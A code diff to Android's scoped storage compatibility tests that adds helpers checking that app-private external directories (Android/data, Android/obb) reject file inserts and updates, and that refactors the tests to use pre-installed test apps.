+ ContentValues values = new ContentValues();
+
+ // Test that inserting files from Android/obb/.. is not allowed.
+ final String androidObbDir =
+ getContext().getObbDir().toString() + "/" + System.currentTimeMillis();
+ values.put(MediaStore.MediaColumns.DATA, androidObbDir);
+ assertThrows(IllegalArgumentException.class, () -> insertFile(values));
+
+ // Test that inserting files from Android/data/.. is not allowed.
+ final String androidDataDir = getExternalFilesDir().toString();
+ values.put(MediaStore.MediaColumns.DATA, androidDataDir);
+ assertThrows(IllegalArgumentException.class, () -> insertFile(values));
+ }
+
+ public static void verifyInsertFromExternalMediaDirViaData_allowed() throws Exception {
+ resetDefaultExternalStorageVolume();
+
+ // Test that inserting files from Android/media/.. is allowed.
+ ContentValues values = new ContentValues();
+ final String androidMediaDirFile =
+ getExternalMediaDir().toString() + "/" + System.currentTimeMillis();
+ values.put(MediaStore.MediaColumns.DATA, androidMediaDirFile);
+ insertFile(values);
+ }
+
+ // NOTE: While updating, DATA field should be ignored for all the apps including file manager.
+ public static void verifyUpdateToExternalDirsViaData_denied() throws Exception {
+ resetDefaultExternalStorageVolume();
+ Uri uri = insertFileFromExternalMedia(false);
+
+ final String androidMediaDirFile =
+ getExternalMediaDir().toString() + "/" + System.currentTimeMillis();
+ ContentValues values = new ContentValues();
+ values.put(MediaStore.MediaColumns.DATA, androidMediaDirFile);
+ assertEquals(0, updateFile(uri, values));
+
+ final String androidObbDir =
+ getContext().getObbDir().toString() + "/" + System.currentTimeMillis();
+ values.put(MediaStore.MediaColumns.DATA, androidObbDir);
+ assertEquals(0, updateFile(uri, values));
+
+ final String androidDataDir = getExternalFilesDir().toString();
+ values.put(MediaStore.MediaColumns.DATA, androidDataDir);
+ assertEquals(0, updateFile(uri, values));
+ }
+
+ public static void verifyUpdateToExternalMediaDirViaRelativePath_allowed()
+ throws IOException {
+ resetDefaultExternalStorageVolume();
+ Uri uri = insertFileFromExternalMedia(true);
+
+ // Test that update to files from Android/media/.. is allowed.
+ final String androidMediaDir = getExternalMediaDir().toString();
+ ContentValues values = new ContentValues();
+ values.put(
+ MediaStore.MediaColumns.RELATIVE_PATH,
+ androidMediaDir.substring(androidMediaDir.indexOf("Android")));
+ assertNotEquals(0, updateFile(uri, values));
+ }
+
+ public static void verifyUpdateToExternalPrivateDirsViaRelativePath_denied()
+ throws Exception {
+ resetDefaultExternalStorageVolume();
+ Uri uri = insertFileFromExternalMedia(true);
+
+ // Test that update to files from Android/obb/.. is not allowed.
+ final String androidObbDir = getContext().getObbDir().toString();
+ ContentValues values = new ContentValues();
+ values.put(
+ MediaStore.MediaColumns.RELATIVE_PATH,
+ androidObbDir.substring(androidObbDir.indexOf("Android")));
+ assertThrows(IllegalArgumentException.class, () -> updateFile(uri, values));
+
+ // Test that update to files from Android/data/.. is not allowed.
+ final String androidDataDir = getExternalFilesDir().toString();
+ values.put(
+ MediaStore.MediaColumns.RELATIVE_PATH,
+ androidDataDir.substring(androidDataDir.indexOf("Android")));
+ assertThrows(IllegalArgumentException.class, () -> updateFile(uri, values));
+ }
+
/**
* Makes the given {@code testApp} open a file for read or write.
*
@@ -734,6 +892,48 @@
}
/**
+ * Polls until {@code app} is granted or denied the given permission.
+ */
+ public static void pollForPermission(TestApp app, String perm, boolean granted)
+ throws Exception {
+ pollForPermission(app.getPackageName(), perm, granted);
+ }
+
+ /**
+ * Polls until {@code packageName} is granted or denied the given permission.
+ */
+ public static void pollForPermission(String packageName, String perm, boolean granted)
+ throws Exception {
+ pollForCondition(
+ () -> granted == checkPermission(packageName, perm),
+ "Timed out while waiting for permission " + perm + " to be "
+ + (granted ? "granted" : "revoked"));
+ }
+
+ /**
+ * Returns true iff {@code packageName} is granted a given permission.
+ */
+ public static boolean checkPermission(String packageName, String perm) {
+ try {
+ int uid = getContext().getPackageManager().getPackageUid(packageName, 0);
+
+ Optional<ActivityManager.RunningAppProcessInfo> process = getAppProcessInfo(
+ packageName);
+ int pid = process.isPresent() ? process.get().pid : -1;
+ return checkPermissionAndAppOp(perm, packageName, pid, uid);
+ } catch (PackageManager.NameNotFoundException e) {
+ return false;
+ }
+ }
+
+ /**
+ * Returns true iff {@code app} is granted a given permission.
+ */
+ public static boolean checkPermission(TestApp app, String perm) {
+ return checkPermission(app.getPackageName(), perm);
+ }
+
+ /**
* Asserts the entire content of the file equals exactly {@code expectedContent}.
*/
public static void assertFileContent(File file, byte[] expectedContent) throws IOException {
@@ -912,8 +1112,16 @@
private static boolean checkPermissionAndAppOp(String permission) {
final int pid = Os.getpid();
final int uid = Os.getuid();
+ final String packageName = getContext().getPackageName();
+ return checkPermissionAndAppOp(permission, packageName, pid, uid);
+ }
+
+ /**
+ * Checks if the given {@code permission} is granted and corresponding AppOp is MODE_ALLOWED.
+ */
+ private static boolean checkPermissionAndAppOp(String permission, String packageName, int pid,
+ int uid) {
final Context context = getContext();
- final String packageName = context.getPackageName();
if (context.checkPermission(permission, pid, uid) != PackageManager.PERMISSION_GRANTED) {
return false;
}
@@ -1049,7 +1257,7 @@
*
* <p>This method drops shell permission identity.
*/
- private static void setAppOpsModeForUid(int uid, int mode, @NonNull String... ops) {
+ public static void setAppOpsModeForUid(int uid, int mode, @NonNull String... ops) {
adoptShellPermissionIdentity(null);
try {
for (String op : ops) {
@@ -1194,12 +1402,13 @@
}
private static boolean isProcessRunning(String packageName) {
- try {
- return getContext().getSystemService(
- ActivityManager.class).getRunningAppProcesses().stream().anyMatch(
- p -> packageName.equals(p.processName));
- } catch (Exception e) {
- return false;
- }
+ return getAppProcessInfo(packageName).isPresent();
+ }
+
+ private static Optional<ActivityManager.RunningAppProcessInfo> getAppProcessInfo(
+ String packageName) {
+ return getContext().getSystemService(
+ ActivityManager.class).getRunningAppProcesses().stream().filter(
+ p -> packageName.equals(p.processName)).findFirst();
}
}
diff --git a/hostsidetests/scopedstorage/src/android/scopedstorage/cts/ScopedStorageTest.java b/hostsidetests/scopedstorage/src/android/scopedstorage/cts/ScopedStorageTest.java
index 37b0a2b..cb26915 100644
--- a/hostsidetests/scopedstorage/src/android/scopedstorage/cts/ScopedStorageTest.java
+++ b/hostsidetests/scopedstorage/src/android/scopedstorage/cts/ScopedStorageTest.java
@@ -16,26 +16,17 @@
package android.scopedstorage.cts;
-import static android.app.AppOpsManager.permissionToOp;
-import static android.os.SystemProperties.getBoolean;
-import static android.provider.MediaStore.MediaColumns;
import static android.scopedstorage.cts.lib.TestUtils.BYTES_DATA1;
import static android.scopedstorage.cts.lib.TestUtils.adoptShellPermissionIdentity;
-import static android.scopedstorage.cts.lib.TestUtils.allowAppOpsToUid;
-import static android.scopedstorage.cts.lib.TestUtils.assertCanRenameDirectory;
import static android.scopedstorage.cts.lib.TestUtils.assertCanRenameFile;
-import static android.scopedstorage.cts.lib.TestUtils.assertCantRenameDirectory;
import static android.scopedstorage.cts.lib.TestUtils.assertDirectoryContains;
import static android.scopedstorage.cts.lib.TestUtils.assertFileContent;
import static android.scopedstorage.cts.lib.TestUtils.assertThrows;
import static android.scopedstorage.cts.lib.TestUtils.canOpen;
-import static android.scopedstorage.cts.lib.TestUtils.canOpenFileAs;
import static android.scopedstorage.cts.lib.TestUtils.canReadAndWriteAs;
import static android.scopedstorage.cts.lib.TestUtils.createFileAs;
import static android.scopedstorage.cts.lib.TestUtils.deleteFileAs;
import static android.scopedstorage.cts.lib.TestUtils.deleteFileAsNoThrow;
-import static android.scopedstorage.cts.lib.TestUtils.deleteWithMediaProviderNoThrow;
-import static android.scopedstorage.cts.lib.TestUtils.denyAppOpsToUid;
import static android.scopedstorage.cts.lib.TestUtils.dropShellPermissionIdentity;
import static android.scopedstorage.cts.lib.TestUtils.executeShellCommand;
import static android.scopedstorage.cts.lib.TestUtils.getAndroidDir;
@@ -50,23 +41,21 @@
import static android.scopedstorage.cts.lib.TestUtils.getFileOwnerPackageFromDatabase;
import static android.scopedstorage.cts.lib.TestUtils.getFileRowIdFromDatabase;
import static android.scopedstorage.cts.lib.TestUtils.getFileUri;
-import static android.scopedstorage.cts.lib.TestUtils.getImageContentUri;
import static android.scopedstorage.cts.lib.TestUtils.getMoviesDir;
import static android.scopedstorage.cts.lib.TestUtils.getMusicDir;
import static android.scopedstorage.cts.lib.TestUtils.getPicturesDir;
-import static android.scopedstorage.cts.lib.TestUtils.getPodcastsDir;
-import static android.scopedstorage.cts.lib.TestUtils.installApp;
-import static android.scopedstorage.cts.lib.TestUtils.installAppWithStoragePermissions;
-import static android.scopedstorage.cts.lib.TestUtils.listAs;
import static android.scopedstorage.cts.lib.TestUtils.openWithMediaProvider;
import static android.scopedstorage.cts.lib.TestUtils.pollForExternalStorageState;
import static android.scopedstorage.cts.lib.TestUtils.pollForManageExternalStorageAllowed;
import static android.scopedstorage.cts.lib.TestUtils.pollForPermission;
-import static android.scopedstorage.cts.lib.TestUtils.queryImageFile;
-import static android.scopedstorage.cts.lib.TestUtils.queryVideoFile;
import static android.scopedstorage.cts.lib.TestUtils.setupDefaultDirectories;
-import static android.scopedstorage.cts.lib.TestUtils.uninstallApp;
-import static android.scopedstorage.cts.lib.TestUtils.uninstallAppNoThrow;
+import static android.scopedstorage.cts.lib.TestUtils.verifyInsertFromExternalMediaDirViaData_allowed;
+import static android.scopedstorage.cts.lib.TestUtils.verifyInsertFromExternalMediaDirViaRelativePath_allowed;
+import static android.scopedstorage.cts.lib.TestUtils.verifyInsertFromExternalPrivateDirViaData_denied;
+import static android.scopedstorage.cts.lib.TestUtils.verifyInsertFromExternalPrivateDirViaRelativePath_denied;
+import static android.scopedstorage.cts.lib.TestUtils.verifyUpdateToExternalDirsViaData_denied;
+import static android.scopedstorage.cts.lib.TestUtils.verifyUpdateToExternalMediaDirViaRelativePath_allowed;
+import static android.scopedstorage.cts.lib.TestUtils.verifyUpdateToExternalPrivateDirsViaRelativePath_denied;
import static android.system.OsConstants.F_OK;
import static android.system.OsConstants.R_OK;
import static android.system.OsConstants.W_OK;
@@ -78,19 +67,13 @@
import static junit.framework.Assert.assertFalse;
import static junit.framework.Assert.assertTrue;
-import static org.junit.Assert.assertEquals;
import static org.junit.Assert.assertNotNull;
import static org.junit.Assume.assumeFalse;
import static org.junit.Assume.assumeTrue;
import android.Manifest;
-import android.app.AppOpsManager;
import android.app.WallpaperManager;
-import android.content.ContentResolver;
-import android.content.ContentValues;
-import android.database.Cursor;
import android.net.Uri;
-import android.os.Bundle;
import android.os.ParcelFileDescriptor;
import android.platform.test.annotations.AppModeInstant;
import android.provider.MediaStore;
@@ -107,13 +90,9 @@
import org.junit.runner.RunWith;
import java.io.File;
-import java.io.FileDescriptor;
import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.IOException;
-import java.nio.ByteBuffer;
-import java.util.Arrays;
-import java.util.List;
/**
* Runs the scoped storage tests on primary external storage.
@@ -123,7 +102,6 @@
@RunWith(AndroidJUnit4.class)
public class ScopedStorageTest {
static final String TAG = "ScopedStorageTest";
- static final String CONTENT_PROVIDER_URL = "content://android.tradefed.contentprovider";
static final String THIS_PACKAGE_NAME = getContext().getPackageName();
static final int USER_SYSTEM = 0;
@@ -137,32 +115,25 @@
static final String TEST_DIRECTORY_NAME = "ScopedStorageTestDirectory" + NONCE;
static final String AUDIO_FILE_NAME = "ScopedStorageTest_file_" + NONCE + ".mp3";
- static final String PLAYLIST_FILE_NAME = "ScopedStorageTest_file_" + NONCE + ".m3u";
- static final String SUBTITLE_FILE_NAME = "ScopedStorageTest_file_" + NONCE + ".srt";
- static final String VIDEO_FILE_NAME = "ScopedStorageTest_file_" + NONCE + ".mp4";
static final String IMAGE_FILE_NAME = "ScopedStorageTest_file_" + NONCE + ".jpg";
static final String NONMEDIA_FILE_NAME = "ScopedStorageTest_file_" + NONCE + ".pdf";
- static final String FILE_CREATION_ERROR_MESSAGE = "No such file or directory";
-
- private static final TestApp TEST_APP_A = new TestApp("TestAppA",
- "android.scopedstorage.cts.testapp.A", 1, false, "CtsScopedStorageTestAppA.apk");
- private static final TestApp TEST_APP_B = new TestApp("TestAppB",
- "android.scopedstorage.cts.testapp.B", 1, false, "CtsScopedStorageTestAppB.apk");
- private static final TestApp TEST_APP_C = new TestApp("TestAppC",
- "android.scopedstorage.cts.testapp.C", 1, false, "CtsScopedStorageTestAppC.apk");
- private static final TestApp TEST_APP_C_LEGACY = new TestApp("TestAppCLegacy",
- "android.scopedstorage.cts.testapp.C", 1, false, "CtsScopedStorageTestAppCLegacy.apk");
- private static final String[] SYSTEM_GALERY_APPOPS = {
- AppOpsManager.OPSTR_WRITE_MEDIA_IMAGES, AppOpsManager.OPSTR_WRITE_MEDIA_VIDEO};
- private static final String OPSTR_MANAGE_EXTERNAL_STORAGE =
- permissionToOp(Manifest.permission.MANAGE_EXTERNAL_STORAGE);
+ // The following apps are installed before the tests are run via a target_preparer.
+ // See test config for details.
+ // An app with READ_EXTERNAL_STORAGE permission
+ private static final TestApp APP_A_HAS_RES = new TestApp("TestAppA",
+ "android.scopedstorage.cts.testapp.A.withres", 1, false,
+ "CtsScopedStorageTestAppA.apk");
+ // An app with no permissions
+ private static final TestApp APP_B_NO_PERMS = new TestApp("TestAppB",
+ "android.scopedstorage.cts.testapp.B.noperms", 1, false,
+ "CtsScopedStorageTestAppB.apk");
+ // A legacy targeting app with RES and WES permissions
+ private static final TestApp APP_D_LEGACY_HAS_RW = new TestApp("TestAppDLegacy",
+ "android.scopedstorage.cts.testapp.D", 1, false, "CtsScopedStorageTestAppCLegacy.apk");
@Before
public void setup() throws Exception {
- // skips all test cases if FUSE is not active.
- assumeTrue(getBoolean("persist.sys.fuse", false));
-
if (!getContext().getPackageManager().isInstantApp()) {
pollForExternalStorageState();
getExternalFilesDir().mkdirs();
@@ -178,127 +149,28 @@
}
/**
- * Test that readdir lists unsupported file types in default directories.
- */
- @Test
- public void testListUnsupportedFileType() throws Exception {
- final File pdfFile = new File(getDcimDir(), NONMEDIA_FILE_NAME);
- final File videoFile = new File(getMusicDir(), VIDEO_FILE_NAME);
- try {
- // TEST_APP_A with storage permission should not see pdf file in DCIM
- createFileUsingTradefedContentProvider(pdfFile);
- assertThat(pdfFile.exists()).isTrue();
- assertThat(MediaStore.scanFile(getContentResolver(), pdfFile)).isNotNull();
-
- installAppWithStoragePermissions(TEST_APP_A);
- assertThat(listAs(TEST_APP_A, getDcimDir().getPath()))
- .doesNotContain(NONMEDIA_FILE_NAME);
-
- createFileUsingTradefedContentProvider(videoFile);
- // We don't insert files to db for files created by shell.
- assertThat(MediaStore.scanFile(getContentResolver(), videoFile)).isNotNull();
- // TEST_APP_A with storage permission should see video file in Music directory.
- assertThat(listAs(TEST_APP_A, getMusicDir().getPath())).contains(VIDEO_FILE_NAME);
- } finally {
- deleteFileUsingTradefedContentProvider(pdfFile);
- deleteFileUsingTradefedContentProvider(videoFile);
- MediaStore.scanFile(getContentResolver(), pdfFile);
- MediaStore.scanFile(getContentResolver(), videoFile);
- uninstallAppNoThrow(TEST_APP_A);
- }
- }
-
- /**
* Test that Installer packages can access app's private directories in Android/obb
*/
@Test
public void testCheckInstallerAppAccessToObbDirs() throws Exception {
File[] obbDirs = getContext().getObbDirs();
- try {
- installApp(TEST_APP_A);
- for (File obbDir : obbDirs) {
- final File otherAppExternalObbDir = new File(obbDir.getPath().replace(
- THIS_PACKAGE_NAME, TEST_APP_A.getPackageName()));
- final File file = new File(otherAppExternalObbDir, NONMEDIA_FILE_NAME);
- try {
- assertThat(file.exists()).isFalse();
+ for (File obbDir : obbDirs) {
+ final File otherAppExternalObbDir = new File(obbDir.getPath().replace(
+ THIS_PACKAGE_NAME, APP_B_NO_PERMS.getPackageName()));
+ final File file = new File(otherAppExternalObbDir, NONMEDIA_FILE_NAME);
+ try {
+ assertThat(file.exists()).isFalse();
- assertThat(createFileAs(TEST_APP_A, file.getPath())).isTrue();
- assertFileAccess_readWrite(file);
+ assertThat(createFileAs(APP_B_NO_PERMS, file.getPath())).isTrue();
+ assertFileAccess_readWrite(file);
- assertThat(file.delete()).isTrue();
- assertThat(file.exists()).isFalse();
- assertThat(file.createNewFile()).isTrue();
- assertThat(file.exists()).isTrue();
- } finally {
- deleteFileAsNoThrow(TEST_APP_A, file.getAbsolutePath());
- }
+ assertThat(file.delete()).isTrue();
+ assertThat(file.exists()).isFalse();
+ assertThat(file.createNewFile()).isTrue();
+ assertThat(file.exists()).isTrue();
+ } finally {
+ deleteFileAsNoThrow(APP_B_NO_PERMS, file.getAbsolutePath());
}
- } finally {
- uninstallApp(TEST_APP_A);
- }
- }
-
- /**
- * Test that normal apps cannot access Android/data and Android/obb dirs of other apps
- */
- @Test
- public void testCantAccessOtherAppsExternalDirs() throws Exception {
- File[] obbDirs = getContext().getObbDirs();
- File[] dataDirs = getContext().getExternalFilesDirs(null);
- try {
- installApp(TEST_APP_A);
- for (File obbDir : obbDirs) {
- final File otherAppExternalObbDir = new File(obbDir.getPath().replace(
- THIS_PACKAGE_NAME, TEST_APP_A.getPackageName()));
- final File file = new File(otherAppExternalObbDir, NONMEDIA_FILE_NAME);
- try {
- assertThat(createFileAs(TEST_APP_A, file.getPath())).isTrue();
- assertCannotReadOrWrite(file);
- } finally {
- deleteFileAsNoThrow(TEST_APP_A, file.getAbsolutePath());
- }
- }
- for (File dataDir : dataDirs) {
- final File otherAppExternalDataDir = new File(dataDir.getPath().replace(
- THIS_PACKAGE_NAME, TEST_APP_A.getPackageName()));
- final File file = new File(otherAppExternalDataDir, NONMEDIA_FILE_NAME);
- try {
- assertThat(createFileAs(TEST_APP_A, file.getPath())).isTrue();
- assertCannotReadOrWrite(file);
- } finally {
- deleteFileAsNoThrow(TEST_APP_A, file.getAbsolutePath());
- }
- }
- } finally {
- uninstallApp(TEST_APP_A);
- }
- }
-
- /**
- * Test that we don't allow renaming to top level directory
- */
- @Test
- public void testCantRenameToTopLevelDirectory() throws Exception {
- final File topLevelDir1 = new File(getExternalStorageDir(), TEST_DIRECTORY_NAME + "_1");
- final File topLevelDir2 = new File(getExternalStorageDir(), TEST_DIRECTORY_NAME + "_2");
- final File nonTopLevelDir = new File(getDcimDir(), TEST_DIRECTORY_NAME);
- try {
- createDirUsingTradefedContentProvider(topLevelDir1);
- assertTrue(topLevelDir1.exists());
-
- // We can't rename a top level directory to a top level directory
- assertCantRenameDirectory(topLevelDir1, topLevelDir2, null);
-
- // However, we can rename a top level directory to non-top level directory.
- assertCanRenameDirectory(topLevelDir1, nonTopLevelDir, null, null);
-
- // We can't rename a non-top level directory to a top level directory.
- assertCantRenameDirectory(nonTopLevelDir, topLevelDir2, null);
- } finally {
- deleteDirUsingTradefedContentProvider(topLevelDir1);
- deleteDirUsingTradefedContentProvider(topLevelDir2);
- nonTopLevelDir.delete();
}
}
@@ -323,73 +195,25 @@
public void testManageExternalStorageCantReadWriteOtherAppExternalDir() throws Exception {
pollForManageExternalStorageAllowed();
- try {
- // Install TEST_APP_A with READ_EXTERNAL_STORAGE permission.
- installAppWithStoragePermissions(TEST_APP_A);
+ // Let app A create a file in its data dir
+ final File otherAppExternalDataDir = new File(getExternalFilesDir().getPath().replace(
+ THIS_PACKAGE_NAME, APP_A_HAS_RES.getPackageName()));
+ final File otherAppExternalDataFile = new File(otherAppExternalDataDir,
+ NONMEDIA_FILE_NAME);
+ assertCreateFilesAs(APP_A_HAS_RES, otherAppExternalDataFile);
- // Let app A create a file in its data dir
- final File otherAppExternalDataDir = new File(getExternalFilesDir().getPath().replace(
- THIS_PACKAGE_NAME, TEST_APP_A.getPackageName()));
- final File otherAppExternalDataFile = new File(otherAppExternalDataDir,
- NONMEDIA_FILE_NAME);
- assertCreateFilesAs(TEST_APP_A, otherAppExternalDataFile);
+ // File Manager app gets global access with MANAGE_EXTERNAL_STORAGE permission, however,
+ // file manager app doesn't have access to other app's external files directory
+ assertThat(canOpen(otherAppExternalDataFile, /* forWrite */ false)).isFalse();
+ assertThat(canOpen(otherAppExternalDataFile, /* forWrite */ true)).isFalse();
+ assertThat(otherAppExternalDataFile.delete()).isFalse();
- // File Manager app gets global access with MANAGE_EXTERNAL_STORAGE permission, however,
- // file manager app doesn't have access to other app's external files directory
- assertThat(canOpen(otherAppExternalDataFile, /* forWrite */ false)).isFalse();
- assertThat(canOpen(otherAppExternalDataFile, /* forWrite */ true)).isFalse();
- assertThat(otherAppExternalDataFile.delete()).isFalse();
+ assertThat(deleteFileAs(APP_A_HAS_RES, otherAppExternalDataFile.getPath())).isTrue();
- assertThat(deleteFileAs(TEST_APP_A, otherAppExternalDataFile.getPath())).isTrue();
-
- assertThrows(IOException.class,
- () -> { otherAppExternalDataFile.createNewFile(); });
-
- } finally {
- uninstallApp(TEST_APP_A); // Uninstalling deletes external app dirs
- }
- }
-
- /**
- * b/168830497: Test that app can write to file in DCIM/Camera even with .nomedia presence
- */
- @Test
- public void testCanWriteToDCIMCameraWithNomedia() throws Exception {
- final File cameraDir = new File(getDcimDir(), "Camera");
- final File nomediaFile = new File(cameraDir, ".nomedia");
- Uri targetUri = null;
-
- try {
- // Recreate required file and directory
- if (cameraDir.exists()) {
- // This is a work around to address a known inode cache inconsistency issue
- // that occurs when test runs for the second time.
- deleteDirUsingTradefedContentProvider(cameraDir);
- }
-
- createDirUsingTradefedContentProvider(cameraDir);
- assertTrue(cameraDir.exists());
-
- createFileUsingTradefedContentProvider(nomediaFile);
- assertTrue(nomediaFile.exists());
-
- ContentValues values = new ContentValues();
- values.put(MediaColumns.RELATIVE_PATH, "DCIM/Camera");
- targetUri = getContentResolver().insert(getImageContentUri(), values, Bundle.EMPTY);
- assertNotNull(targetUri);
-
- try (ParcelFileDescriptor pfd =
- getContentResolver().openFileDescriptor(targetUri, "w")) {
- assertThat(pfd).isNotNull();
- Os.write(pfd.getFileDescriptor(), ByteBuffer.wrap(BYTES_DATA1));
- }
-
- assertFileContent(new File(getFilePathFromUri(targetUri)), BYTES_DATA1);
- } finally {
- deleteWithMediaProviderNoThrow(targetUri);
- deleteFileUsingTradefedContentProvider(nomediaFile);
- deleteDirUsingTradefedContentProvider(cameraDir);
- }
+ assertThrows(IOException.class,
+ () -> {
+ otherAppExternalDataFile.createNewFile();
+ });
}
@Test
@@ -400,12 +224,10 @@
final File otherAppImage = new File(getDcimDir(), "other" + IMAGE_FILE_NAME);
final File otherAppMusic = new File(getMusicDir(), "other" + AUDIO_FILE_NAME);
try {
- installApp(TEST_APP_A);
-
// Create all of the files as another app
- assertThat(createFileAs(TEST_APP_A, otherAppPdf.getPath())).isTrue();
- assertThat(createFileAs(TEST_APP_A, otherAppImage.getPath())).isTrue();
- assertThat(createFileAs(TEST_APP_A, otherAppMusic.getPath())).isTrue();
+ assertThat(createFileAs(APP_B_NO_PERMS, otherAppPdf.getPath())).isTrue();
+ assertThat(createFileAs(APP_B_NO_PERMS, otherAppImage.getPath())).isTrue();
+ assertThat(createFileAs(APP_B_NO_PERMS, otherAppMusic.getPath())).isTrue();
assertThat(otherAppPdf.delete()).isTrue();
assertThat(otherAppPdf.exists()).isFalse();
@@ -416,10 +238,9 @@
assertThat(otherAppMusic.delete()).isTrue();
assertThat(otherAppMusic.exists()).isFalse();
} finally {
- deleteFileAsNoThrow(TEST_APP_A, otherAppPdf.getAbsolutePath());
- deleteFileAsNoThrow(TEST_APP_A, otherAppImage.getAbsolutePath());
- deleteFileAsNoThrow(TEST_APP_A, otherAppMusic.getAbsolutePath());
- uninstallApp(TEST_APP_A);
+ deleteFileAsNoThrow(APP_B_NO_PERMS, otherAppPdf.getAbsolutePath());
+ deleteFileAsNoThrow(APP_B_NO_PERMS, otherAppImage.getAbsolutePath());
+ deleteFileAsNoThrow(APP_B_NO_PERMS, otherAppMusic.getAbsolutePath());
}
}
@@ -436,10 +257,8 @@
final File doesntExistPdf = new File(downloadDir, "nada-" + NONMEDIA_FILE_NAME);
try {
- installApp(TEST_APP_A);
-
- assertThat(createFileAs(TEST_APP_A, otherAppPdf.getPath())).isTrue();
- assertThat(createFileAs(TEST_APP_A, otherAppImage.getPath())).isTrue();
+ assertThat(createFileAs(APP_B_NO_PERMS, otherAppPdf.getPath())).isTrue();
+ assertThat(createFileAs(APP_B_NO_PERMS, otherAppImage.getPath())).isTrue();
// We can read our image and pdf files.
assertThat(myAppPdf.createNewFile()).isTrue();
@@ -452,18 +271,15 @@
assertAccess(doesntExistPdf, false, false, false);
// We can check only exists for another app's files on root.
- // Use content provider to create root file because TEST_APP_A is in
- // scoped storage.
- createFileUsingTradefedContentProvider(shellPdfAtRoot);
+ createFileAsLegacyApp(shellPdfAtRoot);
MediaStore.scanFile(getContentResolver(), shellPdfAtRoot);
assertFileAccess_existsOnly(shellPdfAtRoot);
} finally {
- deleteFileAsNoThrow(TEST_APP_A, otherAppPdf.getAbsolutePath());
- deleteFileAsNoThrow(TEST_APP_A, otherAppImage.getAbsolutePath());
- deleteFileUsingTradefedContentProvider(shellPdfAtRoot);
+ deleteFileAsNoThrow(APP_B_NO_PERMS, otherAppPdf.getAbsolutePath());
+ deleteFileAsNoThrow(APP_B_NO_PERMS, otherAppImage.getAbsolutePath());
+ deleteAsLegacyApp(shellPdfAtRoot);
MediaStore.scanFile(getContentResolver(), shellPdfAtRoot);
myAppPdf.delete();
- uninstallApp(TEST_APP_A);
}
}
@@ -473,33 +289,31 @@
pollForPermission(Manifest.permission.WRITE_EXTERNAL_STORAGE, /*granted*/ true);
File topLevelDir = new File(getExternalStorageDir(), "Test");
try {
- installApp(TEST_APP_A);
-
- // Let app A create a file in its data dir
+ // Let app B create a file in its data dir
final File otherAppExternalDataDir = new File(getExternalFilesDir().getPath().replace(
- THIS_PACKAGE_NAME, TEST_APP_A.getPackageName()));
+ THIS_PACKAGE_NAME, APP_B_NO_PERMS.getPackageName()));
final File otherAppExternalDataSubDir = new File(otherAppExternalDataDir, "subdir");
final File otherAppExternalDataFile = new File(otherAppExternalDataSubDir, "abc.jpg");
- assertThat(createFileAs(TEST_APP_A, otherAppExternalDataFile.getAbsolutePath()))
+ assertThat(createFileAs(APP_B_NO_PERMS, otherAppExternalDataFile.getAbsolutePath()))
.isTrue();
- // We cannot read or write the file, but app A can.
- assertThat(canReadAndWriteAs(TEST_APP_A,
+ // We cannot read or write the file, but app B can.
+ assertThat(canReadAndWriteAs(APP_B_NO_PERMS,
otherAppExternalDataFile.getAbsolutePath())).isTrue();
assertCannotReadOrWrite(otherAppExternalDataFile);
- // We cannot read or write the dir, but app A can.
- assertThat(canReadAndWriteAs(TEST_APP_A,
+ // We cannot read or write the dir, but app B can.
+ assertThat(canReadAndWriteAs(APP_B_NO_PERMS,
otherAppExternalDataDir.getAbsolutePath())).isTrue();
assertCannotReadOrWrite(otherAppExternalDataDir);
- // We cannot read or write the sub dir, but app A can.
- assertThat(canReadAndWriteAs(TEST_APP_A,
+ // We cannot read or write the sub dir, but app B can.
+ assertThat(canReadAndWriteAs(APP_B_NO_PERMS,
otherAppExternalDataSubDir.getAbsolutePath())).isTrue();
assertCannotReadOrWrite(otherAppExternalDataSubDir);
- // We can read and write our own app dir, but app A cannot.
- assertThat(canReadAndWriteAs(TEST_APP_A,
+ // We can read and write our own app dir, but app B cannot.
+ assertThat(canReadAndWriteAs(APP_B_NO_PERMS,
getExternalFilesDir().getAbsolutePath())).isFalse();
assertCanAccessMyAppFile(getExternalFilesDir());
@@ -508,7 +322,7 @@
assertDirectoryAccess(new File(getExternalStorageDir(), "Android"), true, false);
assertDirectoryAccess(new File(getExternalStorageDir(), "doesnt/exist"), false, false);
- createDirUsingTradefedContentProvider(topLevelDir);
+ createDirectoryAsLegacyApp(topLevelDir);
assertDirectoryAccess(topLevelDir, true, false);
// We can see "/storage/emulated" exists, but not read/write to it, since it's
@@ -526,8 +340,7 @@
// Or an obviously invalid userId (b/172629984)
assertAccess(new File("/storage/emulated/100000000000"), false, false, false);
} finally {
- uninstallApp(TEST_APP_A); // Uninstalling deletes external app dirs
- deleteDirUsingTradefedContentProvider(topLevelDir);
+ deleteAsLegacyApp(topLevelDir);
}
}
@@ -541,10 +354,8 @@
final File topLevelPdf = new File(getExternalStorageDir(), NONMEDIA_FILE_NAME);
final File musicFile = new File(getMusicDir(), AUDIO_FILE_NAME);
try {
- installApp(TEST_APP_A);
-
// Have another app create a PDF
- assertThat(createFileAs(TEST_APP_A, otherAppPdf.getPath())).isTrue();
+ assertThat(createFileAs(APP_B_NO_PERMS, otherAppPdf.getPath())).isTrue();
assertThat(otherAppPdf.exists()).isTrue();
@@ -573,21 +384,7 @@
pdfInObviouslyWrongPlace.delete();
topLevelPdf.delete();
musicFile.delete();
- deleteFileAsNoThrow(TEST_APP_A, otherAppPdf.getAbsolutePath());
- uninstallApp(TEST_APP_A);
- }
- }
-
- @Test
- public void testCanCreateDefaultDirectory() throws Exception {
- final File podcastsDir = getPodcastsDir();
- try {
- if (podcastsDir.exists()) {
- deleteDirUsingTradefedContentProvider(podcastsDir);
- }
- assertThat(podcastsDir.mkdir()).isTrue();
- } finally {
- createDirUsingTradefedContentProvider(podcastsDir);
+ deleteFileAsNoThrow(APP_B_NO_PERMS, otherAppPdf.getAbsolutePath());
}
}
@@ -601,9 +398,8 @@
final File otherTopLevelFile = new File(getExternalStorageDir(),
"other" + NONMEDIA_FILE_NAME);
try {
- installApp(TEST_APP_A);
- assertCreateFilesAs(TEST_APP_A, otherAppImg, otherAppMusic, otherAppPdf);
- createFileUsingTradefedContentProvider(otherTopLevelFile);
+ assertCreateFilesAs(APP_B_NO_PERMS, otherAppImg, otherAppMusic, otherAppPdf);
+ createFileAsLegacyApp(otherTopLevelFile);
MediaStore.scanFile(getContentResolver(), otherTopLevelFile);
// We can list other apps' files
@@ -616,10 +412,9 @@
// We can also list all top level directories
assertDirectoryContains(getExternalStorageDir(), getDefaultTopLevelDirs());
} finally {
